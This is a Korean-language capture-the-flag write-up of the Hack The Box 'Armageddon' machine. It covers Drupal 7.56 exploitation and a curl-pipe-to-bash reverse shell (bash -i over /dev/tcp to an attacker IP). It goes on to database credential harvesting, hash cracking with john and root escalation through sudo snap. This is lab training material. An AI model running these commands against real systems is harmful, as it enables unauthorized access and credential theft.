HTB-Armageddon Write up

HTB-Armageddon Write up

in

Port Scan

image


Service Enum

80 웹페이지 소스코드에 해당 웹 페이지의 서비스 발견 Drupal 7

image image Drupal 7 발견

Drupal 전용 scanner drooperscan을 실행하여 스캔을 해줍니다.
https://github.com/SamJoan/droopescan

git clone https://github.com/droope/droopescan.git
cd droopescan
pip install -r requirements.txt
./droopescan scan --help

image 버전정보 확인 7.56

drupal 7.56 exploit 검색

image


Exploit

검색하여 찾은 exploit poc 사용 시도 시 require: cannot load such file -- highline 에러코드가 발생하는데 해당 코드는 ruby로 작성하였으므로 gem을 사용하여 해당 파일을 설치하여 줍니다.

gem install highline

이미지 2 ruby 파일 실행오류

gem 파일 설치 후 해당 rb파일 실행 시 웹 서버의 쉘을 획득할 수 있습니다.

이미지 3 쉘 획득

해당 쉘에서 bash -i 명령어로 리버스쉘 연결 시 permission:denied 거부로 실행이 되지 않습니다.
curl 을 이용하여 공격자 서버에 html파일로 작성한 리버스쉘 코드를 실행하여 줍니다.

// 피해자 서버
curl http://10.10.14.14/index.html | bash

// 공격자 서버 
cat index.html
bash -c 'bash -i >& /dev/tcp/10.10.14.14/443 0>&1'

공격자 서버 포트개방 (8000 또는 9001 다른 포트로 연결 시 에러발생 80이나 443만 허용)
python3 -m http.server 80

이미지 4

nc 를 이용하여 해당 포트 개방 후 명령어 실행 시 리버스쉘 획득 가능

이미지 5

image 홈 디렉토리

정보 탐색을 위해 drupal 7의 오픈소스를 활용하여 탐색 시 /sites/default/defulat.setting.php 에서 db정보가 입력되어있는것을 확인

이미지 9 이미지 10

/sites/default/settings.php 파일에서 데이터베이스,유저명,패스워드 획득

image 이미지 8

mysql을 사용하여 one line command 를 입력할려 하였지만 에러가 발생
검색 결과 --password=패스워드 또는 -p패스워드를 사용하여 공백없이 입력 시 명령어가 실행 가능

mysql -u drupaluser --password=CQHEy@9M*m23gBVJ -e 'show databases;'

이미지 7 show databases;

mysql -u drupaluser --password=CQHEy@9M*m23gBVJ -e 'show tables'

image

mysql -u drupaluser --password=CQHEy@9M*m23gBVJ -D drupal -e 'describe users'

이미지 12

users table 에서 발견된 uid,name,pass,loing 등으로 해당 유저 테이블 조회 시 brucetherealadmin 계정과 해스워드 패쉬값 획득 가능

mysql -u drupaluser --password=CQHEy@9M*m23gBVJ -D drupal -e 'select uid,name,pass,login from users'

이미지 14

획득한 해쉬값을 john을 사용하여 크랙 시 패스워드 booboo 획득 가능

이미지 15

ssh 를 통해 해당 계정으로 로그인 하여 쉘 획득 가능

이미지16 쉘 획득


Linux Privilege Escalation

sudo -l 입력 시 NOPASSWD: /usr/bin/snap install * 확인 가능

image

GTFOBins 에서 snap 검색 시 권한상승 방법이 나옴

image

해당 명령어에 COMMAND 부분을 원하는 명령어로 변경하여 칼리에서 실행하여 xxx_1.0_all.snap 파일 생성
(해당 명령어에서는 ""가 빠졌는데 명령어에 추가를 해줘야함)

이미지 23

피해자 서버에서 curl을 이용하여 파일 복사

이미지 26

해당 파일을 명령어로 실행 시 root권한에서 명령어가 실행되어 root.flag 획득

이미지 27